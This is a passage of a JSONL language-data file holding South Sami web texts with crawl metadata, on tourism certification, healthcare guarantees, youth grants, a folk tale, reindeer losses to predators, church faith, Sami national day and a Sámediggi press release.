1.0000052452087402}","num_words":56,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jååhkesjamme Ut på vidda-faalehtæjjah\nKvaliteetegorredimmie lea vihkele Ut på viddese. Dan åvteste jïjtse jååhkesjimmieöörnege dorjesovveme båatsoeburride mah sijhtieh Ut på vidda-faalenassem faalehtidh. Jis edtja Ut på vidda-jååhkesjimmiem åadtjodh båatsoeburrieh tjuerieh ovmessie kuvsjh tjïrrehtidh, goh beapmoeraajnesvoete, suetievaarjelimmie; HMS, voestesviehkie jïh saemien kultuvrebeagkoehtimmie. Datne aaj læstoem gaavnh Ut på vidda-faalehtæjjajgujmie daennie sæjrosne.\nKaarhte vuelielisnie jååhkesjamme Ut på vidda-faalenassh Nöörjesne vuesehte. Diedtieh jïh giesieh kaarhtem stueriedidh jïh faalehtæjjam gaavnedh desnie gusnie sïjhth.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.utpaavidda.no\/sma\/jaahkesjamme-upv-faalehtajjah\/","date":"2024-04-17T11:17:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817153.39\/warc\/CC-MAIN-20240417110701-20240417140701-00814.warc.gz","language":"sma","language_score":0.9999938011,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999938011169434}","num_words":69,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2022\nGiele\nISBN\n9788293402619\nFormaate\nGuvviegærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n62\nViehkiebaakoe\nÅarjelsaemien maanagærja.\nJenta som kunne snakke med hunder åarjelsaemien jarkoestovveme. Sofie Kroeneseatnamisnie årroeminie. Dïhte bïenjh dan tjarke gaerhtieminie, maahta dovne soptsestidh gujmie! Bïenjijste tjuara gaahtesjidh, tjidtjebe jeahta. Ij Sofie bïllh gænnah. Nukan reakadimmiebiejjien åådtje nieljine skoedtjine gaavnesjidh, men dam ij ietnemes lyjhkh gænnah. Hïehkesth dle mij ïskeres sjædta, jïh nyöjtetje tjuara skïemtjegåatan.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_niejte-mij-meehti-bienjigujmie-soptsestidh","date":"2024-04-15T14:54:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817002.2\/warc\/CC-MAIN-20240415142720-20240415172720-00860.warc.gz","language":"sma","language_score":0.9999529123,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999529123306274}","num_words":68,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"[10.06.2014]\n- Gaajhkesh tjuerieh sov bieliem dïedteste vaeltedh juktie aktem feerhmeles siebriedahkem sjugniedidh. Heerredimmie jïh gymhpoe radikaliseeremen jïh vædtsoes ekstremismem vööste lea akte tjåenghkies siebriedahkedïedte. Tjuara dam lïhkes barkoem darjodh voengesne, skuvlesne, barkoesijjine jïh åejvieladtjijste, staateministere Erna Solberg jeehti gosse reerenasse sov dahkoesoejkesjem böökti daan biejjien mij edtja barkoem nænnoestehtedh radikaliseeremen jïh vædtsoes ekstremismen vööste.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.regjeringen.no\/se\/dep\/smk\/preassaguovdda\/pressemeldinger.html?id=894","date":"2014-07-25T15:22:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997894289.49\/warc\/CC-MAIN-20140722025814-00177-ip-10-33-131-23.ec2.internal.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":53,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rahkan 1. 2005 raejeste nasjovnellen hoksegarantije abpe laantesne. Dutnjien goh patiente dïhte sæjhta jiehedh datne edtjh maehtedh hoksine gaskesadtedh, tïjjem mïnnemasse åadtjoeh jïh dov gïetedimmie aalka dej mïeriej sisnie mah garantijesne tjåadtjoeh.\nVaestiedassh sïejhme gyhtjelasside hoksegarantijen bïjre, seedth e-påastem:\nfirstname.lastname@example.org\nsnjaltjen 1. 2010 raejeste aaj orre laake jïjnjebh patientedïjpen bïjre aalka. Datne goh patiente jallh åelieh dov lea reakta individuellen sjïehtesjamme bïevnesh åadtjoeh fïerhten gaskesem hoksine.\nDov lea reakta individuellen sjïehtesjamme bïevnesh jïh faalaldahkem hoksen bïjre hoksegarantijen aejkiemieresne. Jis hoksesijjie ij maehtieh hoksem vedtedh aejkiemïeresne edtjieh hoksebarkijh aktijveles datnem viehkiehtidh hoksem åadtjodh jeatjah sijjesne. Jis datne viehkiem åadtjoeh jeatjah hoksevedtijisnie dan gaavhtan hoksevedtije ij maehtieh hoksem vedtedh hoksegarantijen aejkiemïeresne, dellie ij galkh jïjnjebh maeksedh. Mohte datne maaksah patientemaaksoem maam lea dennie laantedigkesne jallh regijovnine gusnie hoksem vadta. Bijjiemaaksoevaarjelimmie jïh frijjekåarhte aaj lea seamma jeatjah laantedigkine jallh regijovnine jïh privaten hoksevedtijinie mej lea latjkedimmie.\nDah sifferh tjåadtjoeh dejtie biejjide man guhkiem mijjieh maehtieh utnedh mijjen dïenesjh buektedh:\n0 datne edtjh primærhoksem gaskesadtedh telefovnine jallh sijjesne seamma biejjien.\n7 datne edtjh tïjjem åadtjodh dajvedåakterisnie tjïjhtje biejjiej mïeresne jis dah vïenhtieh datne dam daarpesjh.\n90 datne edtjh åadtjodh goerehtimmiem sjïeredåakteristie, mijjen skïemtjegåetesne jallh jeatjah hoksevedtijisnie, 90 biejjien mïeresne goske dah remissen bïjre nænnostin.\n90 dov gïetedimmiem edtjh aelkedh 90 biejjien mïeresne destie dah gïetedimmien bïjre nænnostin mijjen skïemtjegåetesne jallh jeatjah hoksevedtijisnie.\nHoksegarantije lea dagkeres hokside maam dan åvteli soejkesje. Ij leah akute skïemtjelassh jallh ov-læhkoeh gusnie hoksem dallah daarpesje — desnie ih daarpesjh vuertedh goske dov våaroe jïh dellie ij hoksegarantijem daarpesjh. Tïjje goerehtimmide jïh gïehtjedimmide mïnnemen åvteli jallh gïetedimmien åvteli ij ryöknh dejtie aejkiemïeride mij leah meatan hoksegarantijesne.\nTïjje goske datne båatah mïnnemasse jïh gïetedæmman åådtje jïjnjebh goh 90 biejjieh, jis datne jïh dov dåaktere (jallh jeatjah gïetedæjja) leah dejnie sïemedamme. Dïhte aaj jïjnjebh goh 90 biejjieh sjædta jis medisijneles våaromh eah maehtieh dam aerebi darjodh, jallh gosse eah maehtieh tïjjem jiehtedh (vuesiehtimmien gaavhtan åårganetransplantasjovine).\nHoksegarantije lea garantije leveransetïjjen bïjre. Dïhte lea åålegh dïhte medisijneles vuarjasjimmie hïejmelaantedigkesne maam lea våarome garantijetjirkemasse.\nJis dov lea sïejhme gyhtjelassh hoksegarantijen bïjre maahtah e-påastem seedtedh\nemail@example.com. Jis dov leah gyhtjelassh dov spesifijken gïetedimmien bïjre dellie datne klinijhkasse bïeljelh.\nSïjhth jïjnjebh daejredh hoksen bïjre laantesne dellie maahta Sveriges Kommuner och Landstings väntetidsdatabas gussiehtidh.\nJeatjah nuepie hoksem åadtjodh jeatjah sijjesne\nNuepie jïjtje hoksem veeljh jeatjah sijjesne — guktie gohtje frijjes hokseveeljeme — ij hoksegarantijem dæjpa. Dïhte lea ennje aajmene jïh njoelkedassh lea seammalaakan goh aerebi. Dan bïjre maahtah jïjnebh lohkedh Dïhte frijjes hokseveeljeme.\nSidansvarig:Gun Råberg Kjellerstrand, tel: +4663147737, e-post: firstname.lastname@example.org.\nHittar du fel eller har synpunkter på innehållet, meddela\nSenast uppdaterad 2013-02-13.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/jll.se\/omoss\/informationpaandrasprak\/aarjelsaemiesame\/hoksegarantijevardgarantin.4.5206785213ccccc5d801a8.html","date":"2017-02-23T09:44:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171163.39\/warc\/CC-MAIN-20170219104611-00221-ip-10-171-10-108.ec2.internal.warc.gz","language":"sma","language_score":0.9999915361,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999915361404419}","num_words":407,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Naemhtie edtjebe dejnie barkedh:\n- bïevnesh dej noeri jieleme-tsiehkiej bïjre darjodh jih vuesiehtidh\n- rijhkebiejjen jih reerenassen vuepsieh dejtie nasjovnelle noerepolitihkese vïhtesjidh\n- tjïeltide dåarjedidh dej noerepolitihkeles barkojne\n- staatevïerhtieh ideelle åårganisasjovnide jih jeatjah dåehkide joekedidh. Dåarjoeh veedtebe dej darjomidie, nasjovnelle provsjektide, gaskenasjovnelle provsjektide jih gaskenasjovnellen ektiebarkose. Gaajhkh mijjen dåarjoeh leah reerenassen råajvarimmien mietie joekedamme.\nMijjen ulmiedåehkieh:\n- nännoestäjjah\n- barkijh\n- åårganisasjovnh mah noeri-, nyjsenäjjaj-, hbt-almetji-, nasjovnelle unnebelåhkoej-, etniske unnebelåhkoejgujmie j.v. barkeminie\nDåarjoeh nasjovnelle unnebelåhkoej seammavierhtege-barkojde\nRåajvarimmien ulmie lea dej nasjovnelle unnebelåhkoej barkojde jijtse åårganisasjovnine dåarjedidh mej bïjre diskrimineeringem dåastoehtidh jih seamma-vierhtegem nännoestidh. Barkoem edtja provsjektehammosne dorjesovvedh. Beetnegh maahta v.g prosjektide bïejedh mah maehtieh nyjsenäjjide nännoestidh, guktie dah buerebe nuepieh åadtjoeh lïhtsege-sijjiem åårganisasjovnine vaeltedh. Beetnegh maehtieh aaj viermiebarkose nasjovnelle unnebelåhkoej sjisjnjie jallh gaskemsh joekesuvvedh jih aaj jeatjah prosjekide mah maehtieh darjomem evtiedidh.\nNoereståvroe edtja vïerhtiem jaepide 2011-2014 joekedidh. Fierthen jaepien edtja 2,7 miljovnh kråvnoeh joekedidh.\nGieh maehtieh ohtsedidh?\nNasjovnelle unnebelåhkoej ideelle siebrieh.\nOhtsemeraaje\nDåarjoem maahta unnemes akten aejkien fierhten jaepien ohtsedh. Ohtsemeraajem sjädta jaepeste jaapan nännoestamme.\nÅadtjoeh gietedallijasse ringkedh dov prosjekte-åssjalommesen bïjre digkiedidh jis dam sïjhth.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www2.ungdomsstyrelsen.se\/sydsamiska-buerie-baeteme-noerestavrose","date":"2017-03-30T18:46:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218199514.53\/warc\/CC-MAIN-20170322212959-00250-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999986887,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999986886978149}","num_words":168,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Krokome maanaburrien tjïelte. Dejstie giejstie tjïeltesne årroeh 20 prosenth (2008) 16 jaepien båeries jallh nuerebe. Gosse Sveerjen mietie vuartesje lea 19 prosenth. Jaepien 2012 bijjelen stoeretjuetie maanah maanahoksemasse tjaalasovveme. Daesnie skåajje, miehtjie jïh jaevrieh eevre lïhke jis sæjhta ålkone årrodh.\nKontakta oss\nHar du tekniska frågor eller vill kommentera informationen på sidan så kan du kontakta webbredaktionen. Klicka här!","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/krokom.se\/sma-SE\/utbildningochbarnomsorg.3204.html","date":"2017-03-27T04:42:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189403.13\/warc\/CC-MAIN-20170322212949-00409-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9985674024,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9985674023628235}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mats Steinfjell bijjelen golmeluhkie jaepieh Guovdageaidnusne orreme. Åarjelsaemien gïelem vaarjelamme jïh sov maanide lïereme.\nIj dan geerve orreme\nGihtjem mejtie tuhtjie geerve orreme gïelem vaarjelidh? Mats soptseste ij dan geerve orreme, bene tuhtjie gujhth ånnetji løøvlege åarjelsaemien saemiestidh gosse dan gellie jaepieh noerhtedajvesne orreme. «Im manne tuhtjh dan geerve, menh gåerede gujhth», Steinfjell jeahta.\nMats Steinfjell\nTuhtjem gujhth luste goh dah jeatjah åarjelsaemieh mah åarjelsaepmesne årroeminie tuhtjieh: Guktie datne leah buektiehtamme lïeredh dejtie åarjelsaemien, daepene.\nGovlh guhkebe aamhtesem Matsine:","id":"","dump":"CC-MAIN-2017-13","url":"https:\/\/www.nrk.no\/sapmi\/aarjelsaemien-noerhtedajvesne-1.12206724","date":"2017-03-30T17:03:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218195419.89\/warc\/CC-MAIN-20170322212955-00635-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999839067,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999839067459106}","num_words":79,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sjeltien nåejtie\nDaate soptsese lea gærjeste \"Gåebrehki soptsesh\" maam Knut Bergsland tjaaleme. Gærja voestes aejkien trygkesovvi jaepien 1943 jïh mubpien aejkien jaepien 1987. Ella Holm Bull lea gærjam åarjel-saemien learoe-reaktoen mietie orresistie tjaaleme.\nSjeltien nåejtie\nAkte saemien gobpe mij maarhnide vöölki, jïh dellie åestieji kaaffem, jaavvoem jïh gaajhkh maam daarpesji, jïh dellie vaaresem åestieji. Jïh dellie gåetide vöölki, jïh dellie utni vihties gåetiem gusnie provhki åeredh. Jïh dellie dïhte laedtie jeehti dan saemien ålmese jïjtse laessiem gåetien sïjse tsaekedh, jïh ih galkh baajedh ålkone tjåadtjodh, for gie akt maahta båetedh jïh sualadidh dehtie sov laesseste. Ij satne utnieh maam gelkieh sualadidh.\nMen dellie dan jïjjen akte laedtie bööti jïh dam sov vaaresem galka sualadidh. Jïh dellie dan tjåetskeme lij dan jïjjen. Dellie idtji buektehth destie vaadtsajidh, jïh dellie fihki tjåadtjodh desnie goske låvnes-biejjie sjïdti.\nJïh dellie laedtie jeahta dan aereden jïh gååske bæjjese edtja vaedtsedh vuartasjidh dam sov laessiem. Jaa edtja gaamedidh voestegh jïh edtja tjoevke-biejjie sjïdtedh. Jïh gosse dellie gaamedamme jïh kaaffem jovkeme, dellie olkese vaadtsije. Dellie vaadtsa olkese dan sov laessien gåajkoe. Dellie fihkie vuejnedh akte laedtie tjåadtjoeji jïh steeri dam sov vaarese-paahkam. Jïh dellie veedtsi gåajkoe jïh gijhti gïeteste, jïh dellie jeahta edtja gåatan dåeriedidh jïh dellie jovkestahkem fihkedh. Men dellie jeahta: ih galkh mubpien aejkien vaedtsedh naan slærrese doehtedidh. Jïh dellie dïhte elties hosbåanta-laedtie åadtjoeji vuejnedh barre dïhte sov kraennies-laedtie mij soelege.","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/129720?fag=126960","date":"2017-05-24T10:14:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00354.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":224,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ruevtieraajroe luhkie tjijtje jahke-aaltoeh njeerveme. Musseren åarjelen. Bovtse kaarre tjoeveri dallegh govhte aaltoe vueliedidh.\n– Daate seamma dajvesne, gussnie ruevtieraajroe don jaepien njeervi, gøøkte mijlh Musseren åarjelen.\nDaam Jillen Njaarken åvtehke Torstein Appfjell , NRK ese saarnoeji.\nHaesteme\nDaate stoere haesteme bovtsealmetjidie. Dæjmetje suepeden raajeste daan beajjan ruevtieraajroe 90 bovtsh njeerveme. Daate stoerre tjoepere dajve mijjese jeahta Appfjell.\n–Don jaepien dellie gøøkten aejkien ruevtieraajroe stoerre stuhtjem njeervi. Daate lea mijjen rihrehken sisnie. Stoerre tjoepere dajve daate. Nåakemes gåessie dah jahke-aaltojde njeervie.\nVaajmoem baksa.\nIj naan båatsoesaemie sijth bovtsem gïjregen dassedh.\n– Daatee gaajh nåake mijjese sjædta. Ibie maehtieh tjaaktjegen leekedidh guktie ussjedamme. Dah mijjien bovtsh abpe daelviem bearkadamme jih dastegh dellie ruevtieraajroe båata, øøvre suehpeden åvtelen jih njeervie. Dihte mah vaajmoem baksa.","id":"","dump":"CC-MAIN-2017-26","url":"https:\/\/www.nrk.no\/sapmi\/ruevtieraajroe-njeervie-1.11681388","date":"2017-06-24T22:38:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320362.97\/warc\/CC-MAIN-20170624221310-20170625001310-00650.warc.gz","language":"sma","language_score":0.9999938011,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999938011169434}","num_words":118,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gærhkoen jaahkoe jïh guktie lohkehtin dan teologiske reflektjovnen tjïrrh soptsestin mij dïhte jaahkoe jïh byjhkesjimmie. Aktegs kristegassjese jïh gærhkose barkoe fïerhten aejkesne ikth vielie jaahkose tjaangedh jïh tjïelkestidh guktie dam guarkedh. Vaallah jaahkoebyjhkesjimmie jallh lohkeme lea ulmie jaahkose. Dah kreajnoehtieh mij gærhkoen jaahkoe jïh jaahkoem buerkiestieh. Gosse soptsestalledh jeatjah vuekiejgujmie, gosse håaloemisnie jïh gyrhkesjimmesne Svïenske gærhkoe sov jaahkoem evtede buerkeste.\nMijjieh maehtebe gieriesvoetem gaavnedh jeatjah almetjigujmie ektesne jïh Jupmielinie. Jupmele mijjen jielemem sæjhta jïh sæjhta fïerhten almetjinie ektine årrodh. Jupmelen tjïrrh åadtjoejibie vielie daejredh maam Jupmele sæjhta jïh gie dïhte Jupmele.\nJupmele almetjinie\nJesuse sjïere ektesne Jupmielinie, dïhte jïjtje Jupmele almetjinie. Soptsesh Jesusen bïjre dej njieljie vaentjielinie Bijpelisnie gååvnesieh. Bijpele lea gærja gellie boelhkine mah soptsestieh almetji dååjrehtsi bïjre Jupmielinie gaavnedidh. Jesuse eatnamasse båata dan åvteste Jupmele mijjem eahtsa jïh sæjhta ihkuve aejkiem mijjese rïhpestidh, dovne jaememen åvtelen jïh minngelen. Jupmele sæjhta mijjieh edtjebe vielie maahtoem Jupmelen rijhken jïh gieriesvoeten bïjre åadtjodh.\nGærhkoen jarnge jïh jielemegaaltije\nGærhkoen jarnge jïh jielemegaaltije lea Jesus Kristuse jïh vaentjele dan bïjre. Vaentjele almetjem virtehte ektievoetese Jupmielinie, mij altese maadtoe jïh ulmie. Jupmielisnie velviem vijsiesvoeteste, aarmoste jïh gieriesvoeteste.\nGærhkoen jaahkosne Jupmelem jaahka jïh Jupmelen åajvah dahkojste tseegkesovveme, mejtie Bijpielisnie vïhnesjamme jïh almetjidie dej jieliemisnie gaavnede.\nRohkelimmie vihkeles\nGosse jaahka dellie gegkeste jïh gymhpe. Rohkelimmie jaahkoen sïejhmemes baalka. Jis rohkelidh ij daarpesjh jaehkedh. Vaajmoen reaktoevoete jïh aejvere rohkelæmman vihkeles. Astoem rohkelæmman gaavnedh jïh dam tïjjem jïjtsasse jïh altese rohkelæmman vuekie jïh Jupmielinie aktanidh. Ij dan vihkeles guktie rohkelibie. Dle vaajmoen soptsestalleme Jupmielinie mij vihkeles.\nDïhte kristeles byjhkesjimmie\nDïhte kristeles gærhkoe byjhkesje aktem aajnege Jupmelem – Aehtjiem , Baerniem jïh Aejlies Voejkenem – mij sjugnehte, lutnjeste jïh jielehte. Svïenske gærhkoe akte bielie dehtie veartenevijries gærhkoste jïh kristeles byjhkesjimmiem jïh earoelaavlomem golmegen Jupmielasse veadtasåvva. Jaahkoem byjhkesjimmien baakoej jïh dahkoej tjïrrh lahteste jïh aerpie dehtie apostoliske aejkeste. Dah golme båarasommes jaahkoebyjhkesjimmieh leah lahtesinie sjïere guktie jaahkoe jïh gærhkoe aejkijste aejkide tjåadtjoehtamme. Lohkh gööktesh dejstie daagkoe åelkies bielesne.\nEvangeliske-lutherske gærhkoe\nSvïenske gærhkoe evangeliske-lutherske vuekien mietie dennie augsburgske byjhkesjimmine jaepeste 1530 aktanadteme byjhkesjimmietjaatseginie. Byjhkesjimmietjaalegh reformatjovnetijjese vïhnesjimmien baalkam vuesehte guktie jaahkoem vaestiedassine buerkiestin dan tïjjen gyhtjelasside.","id":"","dump":"CC-MAIN-2017-30","url":"https:\/\/www.svenskakyrkan.se\/kristeles-jaahkoe","date":"2017-07-27T00:42:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549426693.21\/warc\/CC-MAIN-20170727002123-20170727022123-00293.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":340,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dellie dihte saemien åålmege biejjie Snåasesne. Abredh jih liemkeds biejjie. Ij maehtieh vienhtedh daate lea goevten govhtede biejjien. Åarjelsaemiej skuvlen internaaten bæjngolen jijnjh saemien maanah jih noereh vuerteminie jih aaj naa gellie laedtieh dahka båateme edtjien daam Saemien saevegem bijjiedidh jih saemien åålmege laavloem laavlodh.\nAkte dejstie åarjelsaemien maanijste lea Jonna Dunfjeld Mølnvik, dihte tuhtjie joekoen biejjie.\n– Daate lustes biejjie! Edtjebe aaj Bingom spealadidh, dihte son lustemes sjædta Jonna jeahta.\nSaemien sijtesne dellie dihte rihpestimmie vuasahtallemistie \"Biejjien niejth\" gusnie maahta åarjelsaemien nyjsenæjjaj jielemen bijre lohkedh.\nSaemien åålmege biejjien åadtjoejin aaj vuejnedh guktie maehtieh daam digitaale museumem nuhtjedh. Saemien sijten våarhkoe guvvieh. Lisa Dunfjeld Aagård madtjeles daate riejries.\n– Bøøremes daejnie digitaale museume lea , maahta daelie gåatesne daatasne, daejtie guvvide raeffesne giehtjedidh Aagårde jeahta.\nSaemien åålmege biejjien håalome.\nNøørjen saemiej rijhkesiebrien (NSR) åvtehke Beaska Niillas, soptesti man vihkeles Saemiej åålmege biejjie lea.\n– Daam tjoeveridie måjhtajidh, daate lea dihte biejjie jaepesne, gusnie gaajhkh saemieh nieljie laantine ektesne heevehtibie. Mov håhkoe lea gaajhk saemien maanah åadtjoeh saemien gïelem lieredh jih saemien gïelem soptsestidh, dihte lea stoerre aamhtese mejnie tjoeveribie barkedh. Ij leam desnie ennje, håhkoem åtnam, edtjebe dahka retnon jaksedh.\nAlmetjh murriedin.\nTone Marie Larsen Fjällstrøm vuajna daate saemiej åålmege biejjie vihkeles gaajhkh saemide sjidteme.\n– Daate stoerre biejjieh sjidteme. Vuajna! Jijnjh almetjh daesnie Saemien sijtesne tjåanghkanamme. Hijven biejjie daate.\nEnsi-laakan heevedidh.\nLene Sparrok tuhtjie nåake, skuvlebiejjie lea.\n– Jis daate ensi åålmege biejjie orreme, dellie daate aejlegs biejjie sjidteme, åadtjeme eejehtidh. Seamma goh dihte Nøørjen nasjovnale biejjie, Sparroke jeahta jih mojjehte.\nGaske bijjien mænngan vuesehtin ohtjefilme festivaalem, tjijhtje saemien filmh jih Åarjelhsaemien teatere vuesehte \"Hijven Hov,Ylva , Snåasen Hotellesne jih daan mænngan jeatja lustestalleme sjædta.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/saemien-aalmegebiejjie-vihkeles-snaasesne-1.12193414","date":"2017-10-19T11:26:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823282.42\/warc\/CC-MAIN-20171019103222-20171019123222-00245.warc.gz","language":"sma","language_score":0.9999659061,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999659061431885}","num_words":269,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Med det nye prosjektet «Hutkás gielda», som involverer næringen og kommunen i en tidlig fase, skal Sametingets satsning på samisk kulturell og kreativ næring få større effekt, skriver Sametinget i en pressemelding.\nI den nylige vedtatte handlingsplanen «Kulturell og kreativ næring – et uforløst potensiale» er mange nye satsningsområder på plass.\nNytt prosjekt som involverer kommunen\n«Hutkás gielda» betyr kreativ kommune og er et nytt satsningsområde fra Sametinget. Her involverer og samarbeide Sametinget med kommunen og næringen i en tidlig fase, slik at arbeidet blir forankret i kommuneledelsen og hos de involverte partene. I løpet av 2018 skal prosjektet gjennomføres i en kommune i Sápmi, som blir pilotkunde, og som Sametinget skal høste erfaringer med og fra.\n– På denne måten tror vi at satsningen på næringen skal få en større effekt, sier sametingsråd Mariann Wollmann Magga og forteller at Sametinget har tatt opp kulturelle og kreative næringer i møter med kommuner.\n– Satsningen på denne næringen er viktig for å bevare kulturen, samtidig som potensielle nye arbeidsplasser skapes. For mange av de som driver innenfor denne bransjen er ikke penger drivkraften, men etableringen er ofte knyttet til personlige kunstneriske mål og kreativ utfoldelse med ønske om å styrke samisk kultur og identitet gjennom kunsten, sier Magga.\nStarter opp Dáhttu 2.0\nSametinget skal bidra til at samiske kunstnere og kulturaktører kan øke sine inntekter slik at de skal kunne leve av sin virksomhet. For å oppnå målsetningen skal Sametinget sørge for at næringen utvikler seg gjennom en kombinasjon av kompetanseheving, nettverk, samarbeid, tilgang på kapital, identitet og idealisme.\nEtt nytt tiltak for 2017 og 2018 er Dáhttu 2.0, som er et program utviklet for samiske kulturelle og kreative næringsbedrifter med vekstambisjoner. Som deltaker i programmet får man 30 timer med rådgivning.\nMange aktører har et lokalt\/regionalt marked. Forskning viser at for å øke lønnsomheten, må bedriftene utvide markedsområdet. Dette vil være hovedfokuset i Dáhttu 2.0.\n– Å være kreativ for å finne nye markeder er en viktig del av bedriftsutviklinga. Jeg mener samiske kreative næringer har et stort potensial i alle deler av landet, og ikke minst i et internasjonalt perspektiv, avslutter sametingsråd Mariann Wollmann Magga.\nFokuse saemien kultuvrelle jïh sjugniedihks jieliemasse jåarhka\nDejnie orre prosjektine «Sjugniedihks tjïelte», mij jielemem jïh tjïeltem meatan vaalta aareh, Saemiedigkien fokuse saemien kultuvrelle jïh sjugniedihks jieliemasse edtja stuerebe effektem åadtjodh.\nDennie aadtjen nænnoestamme dahkoesoejkesjisnie «Kultuvrelle jïh sjugniedihks jieleme» – akte ovnuhteme nuepie» gellie orre fokusesuerkieh stïeresne.\nOrre prosjekte mij tjïeltem meatan vaalta\n«Sjugniedihks tjïelte» akte orre fokusesuerkie Saemiedigkeste. Daesnie Saemiedigkie tjïeltem meatan vaalta jïh tjïeltine laavenjostoe akten aareh boelhken, guktie barkoe tjïelten stuvremisnie gårrelge jïh dej guejmiej luvnie mah leah meatan. Jaepesne 2018 edtja prosjektem tjïrrehtidh aktene tjïeltesne Saepmesne, mij piloteutniejinie sjædta, jïh mejnie jïh mestie Saemiedigkie edtja dååjrehtimmieh åadtjodh.\n–Naemhtie vïenhtebe mijjen fokuse jieliemasse edtja stuerebe effektem åadtjodh, saemiedigkieraerie Mariann Wollmann Magga jeahta, jïh soptseste Saemiedigkie lea 